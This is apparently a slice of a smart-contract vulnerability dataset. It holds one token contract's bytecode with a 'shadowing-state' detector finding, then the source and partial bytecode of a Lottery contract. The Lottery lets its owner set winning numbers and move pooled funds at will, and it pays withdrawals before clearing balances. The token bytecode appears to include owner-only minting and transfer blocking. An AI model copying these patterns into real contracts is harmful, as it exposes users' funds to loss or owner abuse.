fffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067b9190611a5a565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106db610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90611945565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610831610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b590611945565b60405180910390fd5b60005b8151811015610900576108ed8282815181106108e0576108df611ab0565b5b6020026020010151611295565b80806108f890611adf565b9150506108c1565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610939906118c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610965906118c7565b80156109b25780601f10610987576101008083540402835291602001916109b2565b820191906000526020600020905b81548152906001019060200180831161099557829003601f168201915b5050505050905090565b600080600560006109cb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7f90611b9a565b60405180910390fd5b610aa5610a93610d9e565b858584610aa09190611a26565b610da6565b600191505092915050565b6000610aba610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610b27575060011515600960009054906101000a900460ff161515145b15610b6257610b3e610b37610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610d11565b610b6a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610bd7575060001515600960009054906101000a900460ff161515145b15610cfa57610bf18260065461138590919063ffffffff16565b600681905550610c4982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce991906115cb565b60405180910390a360019050610d11565b610d0c610d05610d9e565b8484610f71565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115cb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b81816111919190611a26565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112239190611a5a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115cb565b60405180910390a350505050565b61129d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132190611945565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008082846113949190611a5a565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090611ee0565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141d578082015181840152602081019050611402565b8381111561142c576000848401525b50505050565b6000601f19601f8301169050919050565b600061144e826113e3565b61145881856113ee565b93506114688185602086016113ff565b61147181611432565b840191505092915050565b600060208201905081810360008301526114968184611443565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114dd826114b2565b9050919050565b6114ed816114d2565b81146114f857600080fd5b50565b60008135905061150a816114e4565b92915050565b6000819050919050565b61152381611510565b811461152e57600080fd5b50565b6000813590506115408161151a565b92915050565b6000806040838503121561155d5761155c6114a8565b5b600061156b858286016114fb565b925050602061157c85828601611531565b9150509250929050565b60008115159050919050565b61159b81611586565b82525050565b60006020820190506115b66000830184611592565b92915050565b6115c581611510565b82525050565b60006020820190506115e060008301846115bc565b92915050565b6000602082840312156115fc576115fb6114a8565b5b600061160a848285016114fb565b91505092915050565b60008060006060848603121561162c5761162b6114a8565b5b600061163a868287016114fb565b935050602061164b868287016114fb565b925050604061165c86828701611531565b9150509250925092565b600060ff82169050919050565b61167c81611666565b82525050565b60006020820190506116976000830184611673565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6116da82611432565b810181811067ffffffffffffffff821117156116f9576116f86116a2565b5b80604052505050565b600061170c61149e565b905061171882826116d1565b919050565b600067ffffffffffffffff821115611738576117376116a2565b5b602082029050602081019050919050565b600080fd5b600061176161175c8461171d565b611702565b9050808382526020820190506020840283018581111561178457611783611749565b5b835b818110156117ad578061179988826114fb565b845260208401935050602081019050611786565b5050509392505050565b600082601f8301126117cc576117cb61169d565b5b81356117dc84826020860161174e565b91505092915050565b6000602082840312156117fb576117fa6114a8565b5b600082013567ffffffffffffffff811115611819576118186114ad565b5b611825848285016117b7565b91505092915050565b611837816114d2565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806040838503121561186f5761186e6114a8565b5b600061187d858286016114fb565b925050602061188e858286016114fb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118df57607f821691505b602082108114156118f3576118f2611898565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061192f6020836113ee565b915061193a826118f9565b602082019050919050565b6000602082019050818103600083015261195e81611922565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119c16028836113ee565b91506119cc82611965565b604082019050919050565b600060208201905081810360008301526119f0816119b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a3182611510565b9150611a3c83611510565b925082821015611a4f57611a4e6119f7565b5b828203905092915050565b6000611a6582611510565b9150611a7083611510565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611aa557611aa46119f7565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611aea82611510565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b1d57611b1c6119f7565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b846025836113ee565b9150611b8f82611b28565b604082019050919050565b60006020820190508181036000830152611bb381611b77565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c166024836113ee565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca86022836113ee565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a6025836113ee565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc6023836113ee565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e6026836113ee565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b836113ee565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea264697066735822122010097610ac17f6bba0ac00f102d0c199bd50bd1ca9dfd35ddbebf6ff27cc5df464736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
8,523
0x2873F3DfA8B9cDcDa9B619B0c3A62C2CD9DAf5C5
pragma solidity ^0.4.24; // File: contracts/library/SafeMath.sol /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i = 1; i < y; i++) z = mul(z,x); return (z); } } } // File: contracts/Lottery.sol contract Lottery { using SafeMath for *; address public owner_; uint256 public investmentBalance_; uint256 public developerBalance_; uint256 public topBonus500Balance_; uint256 public jackpotSplit = 50; // % of buy in thats add to jackpot this round uint256 public nextJackpotSplit = 15; // % of buy in thats add to jackpot next round uint256 public bonus500Split = 5; // % of buy in thats paid to first 500 players uint256 public investorDividendSplit = 10; // % of buy in thats paid to investors uint256 public developerDividendSplit = 10; // % of buy in thats paid to developers uint256 public referrerDividendSplit = 10; // % of buy in thats paid to referrer uint256[6] public jpSplit_ = [0, 50, 25, 12, 8, 5]; // % of jackpot in thats paid to each class prize uint256 public rID_; uint256 public jackpotBalance_; uint256 public jackpotNextBalance_; uint256 public jackpotLeftBalance_; uint256 public kID_; struct Key { uint key; uint tID; // team id uint pID; // player id } mapping(uint256 => Key) public keys_; // (kID_ => data) key data uint256[500] public topPlayers_; // first 500 players each round uint256 public tpID_; struct WonNum { uint256 blockNum; uint256 last6Num; } mapping(uint256 => WonNum) wonNums_; // (rID_ => wonNum) bool public roundEnded_; uint256 public pID_; mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (uint256 => Player ) public plyr_; // (pID => data) player data struct Player { address addr; uint256 referrerID; uint256 playedNum; uint256 referralsNum; uint256 teamBonus; uint256 referralsBonus; uint256 winPrize; uint256 accountBalance; } mapping (uint256 => mapping(uint256 => uint256[])) public histories_; // (pID => rID => keys) uint[4] public teamNums_; uint public keyPrice_ = 10000000000000000; event Transfer(address indexed from, address indexed to, uint value); event BuyAKey(address indexed from, uint key, uint teamID); event WithdrawBalance(address indexed to, uint amount); event AddReferrerBalance(address indexed to, uint amount); event AddTeamBonusBalance(address indexed to, uint amount); event AddPrizeBalance(address indexed to, uint amount); constructor() public { owner_ = msg.sender; rID_ = 0; investmentBalance_ = 0; developerBalance_ = 0; pID_ = 1; teamNums_ = [0, 0, 0, 0]; } modifier onlyOwner { require(msg.sender == owner_, "msg sender is not contract owner"); _; } /* administrative functions */ function roundStart () public onlyOwner() { tpID_ = 0; kID_ = 1; rID_++; // init jackpot of new round jackpotBalance_ = (jackpotNextBalance_).add(jackpotLeftBalance_); jackpotNextBalance_ = 0; if (jackpotBalance_ > 10000000000000000000000) { jackpotBalance_ = (jackpotBalance_).sub(3000000000000000000000); investmentBalance_ = (investmentBalance_).add(3000000000000000000000); } delete teamNums_; // reset top 500 players tpID_ = 0; roundEnded_ = false; } function roundEnd () public onlyOwner() { roundEnded_ = true; } function pay(address _to, uint _amount) private { _to.transfer(_amount); emit Transfer(owner_, _to, _amount); } function changeIncomesSplits (uint _jkpt, uint _nxtjkpt, uint bns500, uint invst, uint dev, uint ref) public onlyOwner() { require(_jkpt > 0 && _nxtjkpt > 0 && bns500 > 0 && invst > 0 && dev > 0 && ref > 0, "split must more than 0"); require((_jkpt + _nxtjkpt + bns500 + invst + dev + ref) <= 100, "sum splits must lte 100 "); jackpotSplit = _jkpt; nextJackpotSplit = _nxtjkpt; bonus500Split = bns500; investorDividendSplit = invst; developerDividendSplit = dev; referrerDividendSplit = ref; } function changePrizeSplits (uint c1, uint c2, uint c3, uint c4, uint c5) public onlyOwner() { require(c1 > 0 && c2 > 0 && c3 > 0 && c4 > 0 && c5 > 0, "split must more than 0"); require((c1 + c2 + c3 + c4 + c5) <= 100, "sum splits must lte 100 "); jpSplit_ = [c1, c2, c3, c4, c5]; } function createPlayer(address _addr, address _referrer) private returns (uint) { plyr_[pID_].addr = _addr; plyr_[pID_].playedNum = 0; plyr_[pID_].referralsNum = 0; plyr_[pID_].winPrize = 0; pIDxAddr_[_addr] = pID_; uint256 referrerID = getPlayerID(_referrer); if (referrerID != 0) { if (getPlayerPlayedTimes(referrerID) > 0) { plyr_[pID_].referrerID = referrerID; plyr_[referrerID].referralsNum ++; } } uint pID = pID_; pID_ ++; return pID; } function updatePlayedNum(address _addr, address _referrer, uint256 _key) private returns (uint) { uint plyrID = getPlayerID(_addr); if (plyrID == 0) { plyrID = createPlayer(_addr, _referrer); } plyr_[plyrID].playedNum += 1; histories_[plyrID][rID_].push(_key); return (plyrID); } function addRefBalance(address _addr, uint256 _val) private returns (uint256) { uint plyrID = getPlayerID(_addr); require(plyrID > 0, "Player should have played before"); plyr_[plyrID].referralsBonus = (plyr_[plyrID].referralsBonus).add(_val); plyr_[plyrID].accountBalance = (plyr_[plyrID].accountBalance).add(_val); emit AddReferrerBalance(plyr_[plyrID].addr, _val); return (plyr_[plyrID].accountBalance); } function addBalance(uint _pID, uint256 _prizeVal, uint256 _teamVal) public onlyOwner() returns(uint256) { require(_pID > 0, "Player should have played before"); uint256 refPlayedNum = getPlayerPlayedTimes(plyr_[_pID].referrerID); if (refPlayedNum > 0) { plyr_[plyr_[_pID].referrerID].referralsBonus = (plyr_[plyr_[_pID].referrerID].referralsBonus).add(_prizeVal / 10); plyr_[plyr_[_pID].referrerID].accountBalance = (plyr_[plyr_[_pID].referrerID].accountBalance).add(_prizeVal / 10); plyr_[_pID].winPrize = (plyr_[_pID].winPrize).add((_prizeVal).mul(9) / 10); plyr_[_pID].accountBalance = (plyr_[_pID].accountBalance).add((_prizeVal).mul(9) / 10); } else { plyr_[_pID].winPrize = (plyr_[_pID].winPrize).add(_prizeVal); plyr_[_pID].accountBalance = (plyr_[_pID].accountBalance).add(_prizeVal); } emit AddPrizeBalance(plyr_[_pID].addr, _prizeVal); plyr_[_pID].teamBonus = (plyr_[_pID].teamBonus).add(_teamVal); plyr_[_pID].accountBalance = (plyr_[_pID].accountBalance).add(_teamVal); emit AddTeamBonusBalance(plyr_[_pID].addr, _teamVal); return (plyr_[_pID].accountBalance); } function subAccountBalance(address _addr, uint256 _val) private returns(uint256) { uint plyrID = getPlayerID(_addr); require(plyr_[plyrID].accountBalance >= _val, "Account should have enough value"); plyr_[plyrID].accountBalance = (plyr_[plyrID].accountBalance).sub(_val); return (plyr_[plyrID].accountBalance); } function withdrawBalance() public returns(uint256) { uint plyrID = getPlayerID(msg.sender); require(plyr_[plyrID].accountBalance >= 10000000000000000, "Account should have more than 0.01 eth"); uint256 transferAmount = plyr_[plyrID].accountBalance; pay(msg.sender, transferAmount); plyr_[plyrID].accountBalance = 0; emit WithdrawBalance(msg.sender, transferAmount); return (plyr_[plyrID].accountBalance); } function changeOwner (address _to) public onlyOwner() { owner_ = _to; } function gameDestroy() public onlyOwner() { uint prize = jackpotBalance_ / pID_; for (uint i = 0; i < pID_; i ++) { pay(plyr_[i].addr, prize); } } function updateWonNums (uint256 _blockNum, uint256 _last6Num) public onlyOwner() { wonNums_[rID_].blockNum = _blockNum; wonNums_[rID_].last6Num = _last6Num; } function updateJackpotLeft (uint256 _jackpotLeft) public onlyOwner() { jackpotLeftBalance_ = _jackpotLeft; } function transferDividendBalance (address _to, uint _val) public onlyOwner() { require((_val >= 10000000000000000) && (investmentBalance_ >= _val), "Value must more than 0.01 eth"); pay(_to, _val); investmentBalance_ = (investmentBalance_).sub(_val); } function transferDevBalance (address _to, uint _val) public onlyOwner() { require((_val >= 10000000000000000) && (developerBalance_ >= _val), "Value must more than 0.01 eth"); pay(_to, _val); developerBalance_ = (developerBalance_).sub(_val); } function updateKeyPrice (uint _val) public onlyOwner() { require(_val > 0, "Value must more than 0 eth"); keyPrice_ = _val; } /* public functions */ function buyAKeyWithDeposit(uint256 _key, address _referrer, uint256 _teamID) external payable returns (bool) { require(msg.value >= keyPrice_, "Value must more than 0.01 eth"); if (roundEnded_) { pay(msg.sender, msg.value); return(false); } jackpotBalance_ = (jackpotBalance_).add((msg.value).mul(jackpotSplit) / 100); jackpotNextBalance_ = (jackpotNextBalance_).add((msg.value).mul(nextJackpotSplit) / 100); investmentBalance_ = (investmentBalance_).add((msg.value).mul(investorDividendSplit) / 100); developerBalance_ = (developerBalance_).add((msg.value).mul(developerDividendSplit) / 100); topBonus500Balance_ = (topBonus500Balance_).add((msg.value).mul(bonus500Split) / 100); if (determinReferrer(_referrer)) { addRefBalance(_referrer, (msg.value).mul(referrerDividendSplit) / 100); } else { developerBalance_ = (developerBalance_).add((msg.value).mul(referrerDividendSplit) / 100); } uint pID = updatePlayedNum(msg.sender, _referrer, _key); keys_[kID_].key = _key; keys_[kID_].tID = _teamID; keys_[kID_].pID = pID; teamNums_[_teamID] ++; kID_ ++; if (tpID_ < 500) { topPlayers_[tpID_] = pID; tpID_ ++; } emit BuyAKey(msg.sender, _key, _teamID); return (true); } function buyAKeyWithAmount(uint256 _key, address _referrer, uint256 _teamID) external payable returns (bool) { uint accBalance = getPlayerAccountBalance(msg.sender); if (roundEnded_) { return(false); } require(accBalance >= keyPrice_, "Account left balance should more than 0.01 eth"); subAccountBalance(msg.sender, keyPrice_); jackpotBalance_ = (jackpotBalance_).add((keyPrice_).mul(jackpotSplit) / 100); jackpotNextBalance_ = (jackpotNextBalance_).add((keyPrice_).mul(nextJackpotSplit) / 100); investmentBalance_ = (investmentBalance_).add((keyPrice_).mul(investorDividendSplit) / 100); developerBalance_ = (developerBalance_).add((keyPrice_).mul(developerDividendSplit) / 100); topBonus500Balance_ = (topBonus500Balance_).add((keyPrice_).mul(bonus500Split) / 100); if (determinReferrer(_referrer)) { addRefBalance(_referrer, (keyPrice_).mul(referrerDividendSplit) / 100); } else { developerBalance_ = (developerBalance_).add((keyPrice_).mul(referrerDividendSplit) / 100); } uint pID = updatePlayedNum(msg.sender, _referrer, _key); keys_[kID_].key = _key; keys_[kID_].tID = _teamID; keys_[kID_].pID = pID; teamNums_[_teamID] ++; kID_ ++; if (tpID_ < 500) { topPlayers_[tpID_] = pID; tpID_ ++; } emit BuyAKey(msg.sender, _key, _teamID); return (true); } function showRoundNum () public view returns(uint256) { return rID_;} function showJackpotThisRd () public view returns(uint256) { return jackpotBalance_;} function showJackpotNextRd () public view returns(uint256) { return jackpotNextBalance_;} function showInvestBalance () public view returns(uint256) { return investmentBalance_;} function showDevBalance () public view returns(uint256) { return developerBalance_;} function showTopBonusBalance () public view returns(uint256) { return topBonus500Balance_;} function showTopsPlayer () external view returns(uint256[500]) { return topPlayers_; } function getTeamPlayersNum () public view returns (uint[4]) { return teamNums_; } function getPlayerID(address _addr) public view returns(uint256) { return (pIDxAddr_[_addr]); } function getPlayerPlayedTimes(uint256 _plyrID) public view returns (uint256) { return (plyr_[_plyrID].playedNum); } function getPlayerReferrerID(uint256 _plyrID) public view returns (uint256) { return (plyr_[_plyrID].referrerID); } function showKeys(uint _index) public view returns(uint256, uint256, uint256, uint256) { return (kID_, keys_[_index].key, keys_[_index].pID, keys_[_index].tID); } function showRdWonNum (uint256 _rID) public view returns(uint256[2]) { uint256[2] memory res; res[0] = wonNums_[_rID].blockNum; res[1] = wonNums_[_rID].last6Num; return (res); } function determinReferrer(address _addr) public view returns (bool) { if (_addr == msg.sender) { return false; } uint256 pID = getPlayerID(_addr); uint256 playedNum = getPlayerPlayedTimes(pID); return (playedNum > 0); } function getReferrerAddr (address _addr) public view returns (address) { uint pID = getPlayerID(_addr); uint refID = plyr_[pID].referrerID; if (determinReferrer(plyr_[refID].addr)) { return plyr_[refID].addr; } else { return (0x0); } } function getPlayerAccountBalance (address _addr) public view returns (uint) { uint plyrID = getPlayerID(_addr); return (plyr_[plyrID].accountBalance); } function getPlayerHistories (address _addr, uint256 _rID) public view returns (uint256[]) { uint plyrID = getPlayerID(_addr); return (histories_[plyrID][_rID]); } }
0x6080604052600436106102b4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630ae5f3f7146102b957806310f01eba146102e4578063123ba3e21461033b5780631f1ec0291461039057806322d1e613146103bd57806323f74136146103e85780632626bb791461041357806326c091c11461043e57806329a2629c1461047f5780632a386660146104aa5780632a792f57146104d55780633415bdd414610537578063394065cd146105995780633a610fec146105ee578063403658521461061957806342c3301a1461063057806348293aae1461065b5780634b227176146106b15780634e1838e7146106dc5780635fd8c7101461070757806361d3d90214610732578063624ae5c01461077357806365981d061461079e57806369d0e33c146107c95780636be422b21461080a5780636d1e2406146108655780636e30d4111461089457806373ffecd0146108bf5780637d69880b14610961578063826c3ca3146109b65780638437f10a146109e157806391acd72014610a0c57806391de1e4714610a4d5780639aebdf7e14610a78578063a27c9af014610aa5578063a338bd2c14610abc578063a6f9dae114610ae7578063b0fb309514610b2a578063b714075e14610b77578063c02e580e14610bc4578063c4749bbd14610bdb578063c56935e214610c06578063ccb440be14610c31578063d3a57b9f14610c72578063de7874f314610cdb578063e139054f14610d79578063e280d66b14610da4578063e36e5d1814610ddb578063e56556a914610e2f578063e766307914610e86578063e7aaec8814610edd578063ea726acb14610f08578063eb1e2cd914610f8b578063ec4d8e3d14610fe2578063ee5c96541461100d578063f09ed7961461106c578063f27b934114611097578063ff97c2c0146110ea575b600080fd5b3480156102c557600080fd5b506102ce611139565b6040518082815260200191505060405180910390f35b3480156102f057600080fd5b50610325600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113f565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061038e6004803603810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611158565b005b34801561039c57600080fd5b506103bb60048036038101908080359060200190929190505050611385565b005b3480156103c957600080fd5b506103d26114cc565b6040518082815260200191505060405180910390f35b3480156103f457600080fd5b506103fd6114d2565b6040518082815260200191505060405180910390f35b34801561041f57600080fd5b506104286114d9565b6040518082815260200191505060405180910390f35b34801561044a57600080fd5b50610469600480360381019080803590602001909291905050506114df565b6040518082815260200191505060405180910390f35b34801561048b57600080fd5b506104946114fa565b6040518082815260200191505060405180910390f35b3480156104b657600080fd5b506104bf611504565b6040518082815260200191505060405180910390f35b61051d60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061150a565b604051808215151515815260200191505060405180910390f35b61057f60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118d3565b604051808215151515815260200191505060405180910390f35b3480156105a557600080fd5b506105d8600480360381019080803590602001909291908035906020019092919080359060200190929190505050611c4f565b6040518082815260200191505060405180910390f35b3480156105fa57600080fd5b50610603611c8d565b6040518082815260200191505060405180910390f35b34801561062557600080fd5b5061062e611c94565b005b34801561063c57600080fd5b50610645611e33565b6040518082815260200191505060405180910390f35b34801561066757600080fd5b5061068660048036038101908080359060200190929190505050611e3d565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b3480156106bd57600080fd5b506106c6611e9a565b6040518082815260200191505060405180910390f35b3480156106e857600080fd5b506106f1611ea1565b6040518082815260200191505060405180910390f35b34801561071357600080fd5b5061071c611ea7565b6040518082815260200191505060405180910390f35b34801561073e57600080fd5b5061075d60048036038101908080359060200190929190505050612021565b6040518082815260200191505060405180910390f35b34801561077f57600080fd5b50610788612042565b6040518082815260200191505060405180910390f35b3480156107aa57600080fd5b506107b3612048565b6040518082815260200191505060405180910390f35b3480156107d557600080fd5b506107f46004803603810190808035906020019092919050505061204e565b6040518082815260200191505060405180910390f35b34801561081657600080fd5b5061084b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061206f565b604051808215151515815260200191505060405180910390f35b34801561087157600080fd5b5061087a6120d5565b604051808215151515815260200191505060405180910390f35b3480156108a057600080fd5b506108a96120e9565b6040518082815260200191505060405180910390f35b3480156108cb57600080fd5b5061090a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120f3565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561094d578082015181840152602081019050610932565b505050509050019250505060405180910390f35b34801561096d57600080fd5b506109a060048036038101908080359060200190929190803590602001909291908035906020019092919050505061217f565b6040518082815260200191505060405180910390f35b3480156109c257600080fd5b506109cb6126f5565b6040518082815260200191505060405180910390f35b3480156109ed57600080fd5b506109f66126fb565b6040518082815260200191505060405180910390f35b348015610a1857600080fd5b50610a3760048036038101908080359060200190929190505050612701565b6040518082815260200191505060405180910390f35b348015610a5957600080fd5b50610a6261271c565b6040518082815260200191505060405180910390f35b348015610a8457600080fd5b50610aa360048036038101908080359060200190929190505050612722565b005b348015610ab157600080fd5b50610aba6127f0565b005b348015610ac857600080fd5b50610ad161292c565b6040518082815260200191505060405180910390f35b348015610af357600080fd5b50610b28600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612936565b005b348015610b3657600080fd5b50610b75600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a3d565b005b348015610b8357600080fd5b50610bc2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612bb7565b005b348015610bd057600080fd5b50610bd9612d31565b005b3480156